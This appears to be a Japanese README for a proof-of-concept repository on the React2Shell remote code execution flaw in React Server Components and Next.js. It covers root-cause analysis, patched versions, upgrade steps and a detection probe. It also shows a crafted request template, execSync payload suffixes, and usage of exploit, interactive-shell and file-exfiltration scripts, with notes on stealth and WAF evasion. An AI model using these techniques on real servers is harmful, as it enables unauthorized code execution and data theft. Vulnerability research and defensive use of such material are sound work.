
CVE-2025-55182とCVE-2025-66478の分析 -- React2Shellの背後にある脆弱性。ツール、技術情報など
CVE-2025-55182(React)および CVE-2025-66478(Next.js)
このリポジトリには、許可されたセキュリティテストおよび教育目的専用のエクスプロイトコードが含まれています。
関連情報: 複数の研究者がこの脆弱性の分析を公開しています。追加の視点、エクスプロイト手法、検出方法については、References セクションを確認してください。
2025年12月3日(水)、React Server Components における深刻なリモートコード実行(RCE)の脆弱性が公開されました。「React2Shell」と名付けられたこのバグは、認証されていない攻撃者が、脆弱なバージョンの React RSC または Next.js App Router を実行している任意のサーバー上で、単一の HTTP リクエストを送信するだけで任意のコードを実行できるようにするものです。
Next.js がこれほど普及している(現代のウェブの大部分を支えている)ことを考えると、この脆弱性の影響は深刻です。App Router(Next.js 13 以降の新規プロジェクトのデフォルト)を使用し、RSC を有効にしている Next.js アプリケーションはすべて脆弱です。特別な設定は不要です。特定のエンドポイントも不要です。任意のルートへの POST リクエストだけで十分です。
この脆弱性は、React Server Components でサーバーとクライアント間のデータ受け渡しに使用されるシリアライズ形式である React の「Flight」プロトコルに存在します。デシリアライズ時の hasOwnProperty チェックの欠如により、プロトタイプチェーンの走査が可能になり、最終的に JavaScript の Function コンストラクタに到達して攻撃者が制御するコードを実行できます。
この欠陥は、React の react-server-dom-webpack、react-server-dom-turbopack、react-server-dom-parcel パッケージに存在します。RSC の主要な利用者である Next.js は、App Router を通じてこの脆弱性の影響を受けます。
多くのサービスが潜在的に脆弱です。Next.js は最も人気のある React フレームワークの1つであり、スタートアップからエンタープライズまであらゆる規模の企業で使用されています。React Server Components を備えた App Router はバージョン 13 以降、新しい Next.js プロジェクトのデフォルトアーキテクチャとなっているため、最新の Next.js デプロイメントのほとんどが影響を受けます。
以下を使用するすべてのアプリケーション:
react-server-dom-* パッケージ(19.0.0 〜 19.2.0)を使用する React Server Componentsこれには、Vercel、AWS、セルフホスト型インフラストラクチャ、および Next.js App Router アプリケーションが実行されるその他すべての環境での本番デプロイメントが含まれます。
影響を受けないもの:
process.mainModule が利用不可)| Package | Vulnerable | Patched |
|---|---|---|
直ちにアップグレードしてください。 回避策はありません。
Next.js アプリケーションの場合:
npm install next@latest
# or
pnpm update next
React RSC を直接使用する場合:
npm install react-server-dom-webpack@latest
インストールされているバージョンを確認する:
npm ls next react-server-dom-webpack react-server-dom-turbopack
この脆弱性には複数の攻撃ベクトルが発見されています。最も一般的なもの(そして前提条件なしで動作するもの)は、React の Flight プロトコル参照システムを悪用したプロトタイプ汚染です。
このエクスプロイトは、Next-Action ヘッダーを付けた巧妙に細工された multipart POST リクエストを送信します。ペイロードは参照システムを悪用して以下を実行します:
$1:__proto__:then を介してプロトタイプチェーンを走査するFunction コンストラクタを呼び出させるPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
コードはデシリアライズ中、アクション ID の検証が行われる前に実行されます。つまり、任意の Next-Action ヘッダー値が脆弱なコードパスをトリガーします。有効なアクション ID は不要です。
その他の攻撃ベクトル も存在します。
$F関数参照や直接的なモジュールガジェットなどです。これらは通常、有効なアクション ID を必要とします。詳細については Alternative Attack Vectors を参照してください。
React の Flight プロトコルは、$1:path:to:value のような参照をコロンで分割し、オブジェクトを走査して解決します:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
皮肉なことに: このファイルの先頭、35行目に:
import hasOwnProperty from 'shared/hasOwnProperty';ガードはインポートされていました。利用可能でした。ただ、それが最も重要となるループで使用されていなかっただけです。
この単一のチェックの欠如により、$1:__proto__:then が chunk オブジェクトからプロトタイプチェーンを上って Chunk.prototype.then に到達できます。これは Promise のようなオブジェクトを処理する関数です。適切なプロパティを持つ偽の chunk を細工することで、実行されるコードを制御できます。
脆弱なテストサーバーをクローン:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
別のターミナルで:
./detect.sh http://localhost:3443
脆弱なサーバーは、レスポンスボディに E{"digest" を含む HTTP 500 を返します。RCE を実証するには:
./exploit-redirect.sh http://localhost:3443 "id"
コマンドの出力がレスポンスに表示されます。対話的な探索には:
./shell.sh http://localhost:3443
vulnerable-next-server/ ディレクトリには、安全なローカルテスト用に事前設定された Next.js 16.0.6 + React 19.2.0 アプリケーションが含まれています。デフォルトではポート 3443 で実行されます。これは、デフォルト設定が脆弱であることを示す最小限の App Router セットアップです。
さまざまなシナリオに対応するため、複数のエクスプロイトバリアントを開発しました:
本番環境に関する注意: React は本番ビルドでエラーメッセージを削除するため、
throwメソッドは機能しません。前提条件なしで本番環境のコマンド出力を確実に取得できるのはexploit-redirect.shのみです。リダイレクト URL はエラーのdigestプロパティ(メタデータ)に保存されます。これはサニタイズされません。一方、messageは{digest: "..."}のみになります。
ユーティリティスクリプト:
detect.sh - 非破壊的な脆弱性プローブ(コード実行なし)enumerate-actions.sh - ターゲット HTML から有効な Server Action ID を発見exfil-file.sh - チャンク形式のファイル流出(大きなファイルを自動処理)shell.sh - RCE 上の対話型擬似シェルリダイレクト方式は、本番環境で動作し、前提条件が不要で、コマンド出力を直接返すため推奨されます。これは、特別に細工された NEXT_REDIRECT エラーをスローすることで機能します。出力は base64 エンコードされてリダイレクト URL に格納され、x-action-redirect ヘッダーで返されます。
各スクリプトの詳細な使用方法については、USAGE.md を参照してください。
./detect.sh https://target.com
これは、任意のコードを実行せずに脆弱なコードパスをトリガーする最小限のプローブを送信します。
脆弱なサーバーのレスポンス:
text/x-componentE{"digest"パッチ適用済みまたは非 RSC サーバー: 404、異なるエラーフォーマット、または Flight プロトコルレスポンスなしを返します。
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
このプローブは、空のオブジェクト上の存在しないプロパティを参照します。脆弱なサーバーは {}.a.a へのアクセスでクラッシュし、500 を返します。パッチ適用済みサーバーにはクラッシュを防ぐ hasOwnProperty ガードがあります。
以下の指標を探します:
0:、1: など)を含む <script> タグx-nextjs-cache または x-nextjs-matched-path ヘッダー/_next/ 静的アセットパス$ACTION_ID_ パターン次の図は、単一の HTTP リクエストがどのようにリモートコード実行を達成するかを示しています:
sequenceDiagram
participant A as Attacker
participant N as Next.js
participant F as Flight Parser
participant JS as JS Engine
A->>N: POST with Next-Action header + malicious payload
N->>F: Parse multipart form data
F->>JS: await getRoot - returns chunk as thenable
rect rgb(80, 20, 20)
Note over F,JS: VULNERABILITY - No hasOwnProperty check
JS->>F: chunk.then parses $1:__proto__:then
F-->>F: Traverses to Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
JS->>F: fakeChunk.then() with attacker's _response
rect rgb(80, 20, 20)
Note over F,JS: EXPLOITATION - Attacker controls _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
F->>JS: Function(code) invoked as thenable
end
Note over JS: RCE - execSync() runs
rect rgb(20, 60, 20)
Note over A,JS: OUTPUT EXFILTRATION (redirect method)
JS-->>F: throw NEXT_REDIRECT with base64(output)
F-->>N: Error propagates up
N-->>A: HTTP 303 + x-action-redirect header
end
React Server Components は、コンポーネントツリーをサーバーからクライアントにストリーミングするために「Flight」と呼ばれるカスタムシリアライズ形式を使用します。値のタイプごとにプレフィックスコードを使用します:
$1、$2、... - ID による他のチャンクへの参照$@0 - 生のチャンクオブジェクト参照(値ではなくチャンク自体を返す)$B0 - Blob 参照(_formData.get(_prefix + id) をトリガー)$1:path:to:prop - 参照されたチャンクの値上のパスを走査この脆弱性は、$@(生参照)とコロン区切りのパスの組み合わせを悪用して __proto__ にアクセスします。
フェーズ 1: リクエスト処理
Next-Action ヘッダー付きの POST が RSC アクション処理をトリガーawait getRoot(response) がチャンク 0 を thenable として返すフェーズ 2: プロトタイプ走査
then メソッドがある - JS Promise 仕様が thenable.then(resolve, reject) を呼び出す$1:__proto__:then が Chunk.prototype.then に解決されるthen、status: "resolved_model"、_response を持つ偽のチャンクオブジェクトが作成されるフェーズ 3: コード実行
resolve(ourObject) が別の then() 呼び出しをトリガー(JS thenable 仕様)Chunk.prototype.then が、制御された _response オブジェクトを使用して実行される$B0 が _formData.get(_prefix + "0") をトリガー - 両方とも攻撃者が制御可能フェーズ 4: 出力の外部流出 (任意、リダイレクト方式)
NEXT_REDIRECT エラーをスローx-action-redirect ヘッダーを設定構築された Function は thenable として呼び出されます:fn(resolve, reject)。これをどう処理するかで、出力が返ってくるかどうかが決まります:
推奨:Redirect。 本番環境で動作し、前提条件が不要で、出力が x-action-redirect ヘッダーに含まれます。
ブラインド方式は、Promise が決して settled にならないためハングします。await が永久にブロックされます。これはファイア・アンド・フォーゲットのシナリオ(リバースシェル、curl による帯域外流出)に有用です。
この中核的な脆弱性は、3つの異なる攻撃クラスを通じて悪用されています。このリポジトリは最初のアプローチを使用しています。他の PoC は代替手段を示しています:
プロトタイプ汚染がアクション ID を必要としない理由: multipart フォームのパースは、チャンクを Flight デシリアライザに即座に渡します。RCE はチャンク参照解決中の getOutlinedModel() で発生します。これは Next.js がアクション ID を検証する前です。URL エンコードされたリクエストは、最初にアクション ID を検証します(action-handler.ts:768 の異なるコードパス)。
$F 参照がアクション ID を必要とする理由: $F 参照は loadServerReference() をトリガーし、マニフェストルックアップを実行します。アクションが存在しない場合、リクエストはコード実行前に失敗します。
すべての PoC 実装とそのトレードオフの詳細な分析については、external-pocs/COMPARISON.md を参照してください。
React は本番ビルドでエラー詳細を削除します。これは throw ベースの外部流出に影響します:
開発環境:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
本番環境:
{"digest":"..."}
リダイレクト方式はこれを迂回します。リダイレクト URL が message ではなく digest プロパティに保存されるためです。ヘッダーは URL 検証の前に無条件に設定されるため、無効な URL でもヘッダーが設定されます。
$@ 生チャンク参照を使用して自己参照型の偽チャンクを作成するという重要なエクスプロイトの洞察は、maple3142 によるものです。ここで参照されている検出方法論は、Searchlight Cyber / Assetnote によるものです。
公式開示:
コミュニティリサーチ:
すべての PoC 実装の詳細な比較については、external-pocs/COMPARISON.md を参照してください。
背景:
コードは MIT License の下でライセンスされています。ドキュメント(*.md ファイル)は CC-BY-SA 4.0 の下でライセンスされています。
react-server-dom-webpack| 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Version Line | Vulnerable | Patched |
|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
| Script | HTTP | Output | Production | Notes |
|---|
exploit-redirect.sh | 303 | x-action-redirect header | Yes | 推奨。 前提条件なし。 |
exploit-throw.sh | 500 | Error response body | No | 開発モードのみ(本番ではエラーがサニタイズされる)。 |
exploit-blind.sh | 200 | Server-side only | Yes | ファイア・アンド・フォーゲット。OOB 流出に使用。 |
exploit-urlencoded.sh | 303 | x-action-redirect header | Yes | 異なる WAF シグネチャ。アクション ID が必要。 |
exploit-reflect.sh | 200 | Response body | Yes | 最もステルス性が高い。アクション ID が必要。 |
| Strategy | Payload Suffix | How It Works |
|---|
| Blind | execSync('CMD');0 | 実行するが解決されない - 接続がハングし、出力なし |
| Throw | throw execSync('CMD').toString() | Promise を拒否し、出力がエラーボディに含まれる(開発モードのみ) |
| Redirect | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | Next.js のリダイレクト処理を悪用し、出力がヘッダーに含まれる |
| Reflect | arguments[0](https://github.com/freeqaz/react2shell/blob/HEAD/%5BexecSync(%27CMD%27).toString()]) | Promise をアクション引数としての出力で解決(有効なアクション ID が必要) |
| Attack Class | Mechanism | Action ID Required | Example PoC |
|---|
| Prototype Pollution | $1:__proto__:then traversal to Chunk.prototype | No | react2shell, lachlan2k, joe-desimone |
| $F Function Reference | $F1 + action#constructor to reach Function | Yes | shellinteractive |
| Module Gadget | module#export syntax (e.g., child_process#execSync) | Varies | ejpir research |
| Author | Contribution | Attack Path | Notable Features |
|---|
| lachlan2k | 最初の発見者 | プロトタイプ汚染 | Array.map チェーン、5チャンク構造、Waku サポート |
| ejpir | ガジェット研究 | すべてのパス | モジュールガジェットカタログ、永続化攻撃、データ URI パス |
| joe-desimone | Python ツール | プロトタイプ汚染 | リバースシェルヘルパー、コールバック流出、タイムアウト検出 |
| labubusDest / MrR0b0t19 | 対話型シェル | $F 関数参照 | Python REPL、ファイルアップロード/ダウンロード、組み込みテストスイート |
| Searchlight Cyber | 検出方法 | — | 高精度な検出方法論、WAF シグネチャ |